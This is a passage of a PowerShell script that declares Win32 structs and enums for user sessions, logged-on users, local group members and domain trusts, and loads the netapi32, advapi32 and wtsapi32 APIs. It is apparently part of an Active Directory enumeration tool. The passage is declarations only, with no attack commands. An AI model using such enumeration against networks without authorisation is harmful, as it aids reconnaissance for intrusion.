9033 wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr')
9034 wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr')
9035 wkui1_logon_server = field 3 String -MarshalAs @('LPWStr')
9036}
9037
9038
9039$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{
9040 sesi10_cname = field 0 String -MarshalAs @('LPWStr')
9041 sesi10_username = field 1 String -MarshalAs @('LPWStr')
9042 sesi10_time = field 2 UInt32
9043 sesi10_idle_time = field 3 UInt32
9044}
9045
9046
9047$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
9048 SidTypeUser = 1
9049 SidTypeGroup = 2
9050 SidTypeDomain = 3
9051 SidTypeAlias = 4
9052 SidTypeWellKnownGroup = 5
9053 SidTypeDeletedAccount = 6
9054 SidTypeInvalid = 7
9055 SidTypeUnknown = 8
9056 SidTypeComputer = 9
9057}
9058
9059
9060$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
9061 lgrmi2_sid = field 0 IntPtr
9062 lgrmi2_sidusage = field 1 $SID_NAME_USE
9063 lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
9064}
9065
9066
9067$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
9068 IN_FOREST = 1
9069 DIRECT_OUTBOUND = 2
9070 TREE_ROOT = 4
9071 PRIMARY = 8
9072 NATIVE_MODE = 16
9073 DIRECT_INBOUND = 32
9074} -Bitfield
9075$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
9076 DOWNLEVEL = 1
9077 UPLEVEL = 2
9078 MIT = 3
9079 DCE = 4
9080}
9081$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
9082 NON_TRANSITIVE = 1
9083 UPLEVEL_ONLY = 2
9084 FILTER_SIDS = 4
9085 FOREST_TRANSITIVE = 8
9086 CROSS_ORGANIZATION = 16
9087 WITHIN_FOREST = 32
9088 TREAT_AS_EXTERNAL = 64
9089}
9090
9091
9092$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
9093 NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
9094 DnsDomainName = field 1 String -MarshalAs @('LPWStr')
9095 Flags = field 2 $DsDomainFlag
9096 ParentIndex = field 3 UInt32
9097 TrustType = field 4 $DsDomainTrustType
9098 TrustAttributes = field 5 $DsDomainTrustAttributes
9099 DomainSid = field 6 IntPtr
9100 DomainGuid = field 7 Guid
9101}
9102
9103$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
9104$Netapi32 = $Types['netapi32']
9105$Advapi32 = $Types['advapi32']
9106$Wtsapi32 = $Types['wtsapi32']